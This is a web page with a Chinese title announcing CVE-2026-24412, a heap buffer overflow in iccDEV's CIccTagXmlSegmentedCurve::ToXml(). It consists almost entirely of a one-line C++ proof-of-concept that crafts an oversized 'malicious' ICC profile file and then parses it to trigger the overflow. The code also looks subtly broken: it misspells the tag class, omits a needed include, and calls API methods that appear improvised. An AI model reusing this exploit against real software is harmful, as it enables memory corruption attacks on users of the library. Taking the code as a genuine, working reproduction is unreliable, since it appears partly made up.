CVE-2026-24412 iccDEV CIccTagXmlSegmentedCurve::ToXml()堆缓冲区溢出漏洞

#include <cstdio> #include <cstdlib> #include <cstring> #include <fstream> #include "iccd.h" // PoC for CVE-2026-24412: Heap Buffer Overflow in CIccTagXmlSegmentedCurve::ToXml() // Affected: iccDEV <= 2.3.1.1 // Create a malicious ICC profile with oversized CIccTagXmlSegmentedCurve data void create_malicious_icc_profile(const char* filename) { // Create a basic ICC profile structure CIccProfile profile; // Create a CIccTagXmlSegmentedCurve with oversized data // This triggers heap buffer overflow in ToXml() function CIccTagXmlSegmentedCurve* pTag = new CIccTagXmlSegmenteCurve(); // Construct malicious curve data that exceeds buffer bounds // The overflow occurs when ToXml() processes this data std::vector<icdFloat32> maliciousCurveData; for (int i = 0; i < 100000; i++) { // Unusually large size maliciousCurveData.push_back((icdFloat32)i / 100000.0f); } // Attach the malicious curve to the tag pTag->SetCurveData(maliciousCurveData); // Add the tag to the profile profile.AppendTag(pTag); // Write the malicious profile to file std::ofstream outFile(filename, std::ios::binary); if (outFile.is_open()) { profile.Write(&outFile); outFile.close(); printf("Malicious ICC profile created: %s\n", filename); } } // Parse and trigger the vulnerability void trigger_vulnerability(const char* filename) { std::ifstream inFile(filename, std::ios::binary); if (!inFile.is_open()) { printf("Failed to open file: %s\n", filename); return; } CIccProfile profile; // This will trigger ToXml() and cause heap buffer overflow if (profile.Read(&inFile)) { CIccTag* pTag = profile.FindTag("CIccTagXmlSegmentedCurve"); if (pTag) { std::string xmlOutput; // Heap buffer overflow occurs here in ToXml() pTag->ToXml(&xmlOutput); } } inFile.close(); } int main(int argc, char* argv[]) { const char* outputFile = "malicious_profile.icc"; printf("CVE-2026-24412 PoC - Heap Buffer Overflow in iccDEV\n"); printf("======================================================\n"); // Step 1: Create malicious ICC profile create_malicious_icc_profile(outputFile); // Step 2: Trigger the vulnerability trigger_vulnerability(outputFile); return 0; }